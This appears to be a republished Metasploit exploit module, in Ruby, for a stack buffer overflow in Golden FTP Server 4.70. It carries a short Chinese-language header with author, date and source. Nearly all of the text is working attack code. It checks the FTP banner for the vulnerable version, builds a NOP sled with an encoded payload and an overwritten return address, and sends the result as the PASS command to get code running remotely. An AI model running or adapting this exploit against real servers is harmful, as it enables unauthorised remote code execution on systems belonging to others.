Golden FTP Server 4.70 – PASS Stack Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-06-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17355/
  • #
    # $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::Ftp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'GoldenFTP PASS Stack Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a vulnerability in the Golden
    				FTP service. This module uses the PASS command to trigger the overflow.
    			},
    			'Author' => [ 'bannedit' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 12812 $',
    			'References' =>
    				[
    					[ 'BID', '45957 '],
    					[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'seh',
    				},
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'Space'=> 350,
    					'BadChars' => "\x00\x0a\x0d",
    				},
    			'Platform' => ['win'],
    			'Targets'=>
    				[
    					[
    						'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
    						{
    							'Platform' => 'win',
    							'Ret'=> 0x00a93ca6,
    						},
    					]
    
    				],
    			'DisclosureDate' => 'Jan 23 2011'))
    	end
    	
    	def check
    		connect
    		disconnect
    		print_status("FTP Banner: #{banner}".strip)
    		if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
    			return Exploit::CheckCode::Appears
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def exploit
    		if datastore['RHOST'].length < 15
    			pad = make_nops(1) * (15 - datastore['RHOST'].length)
    		end
    		
    		sploit = make_nops(4) * 38
    		sploit << payload.encoded
    		sploit << pad
    		sploit << make_nops(1) * (528 - sploit.length)
    		sploit << [target.ret].pack('V')
    
    		print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
    		begin
    			connect
    			send_user("anonymous")
    			send_cmd(['PASS', sploit], false)
    			handler
    		rescue EOFError
    		end
    	end
    end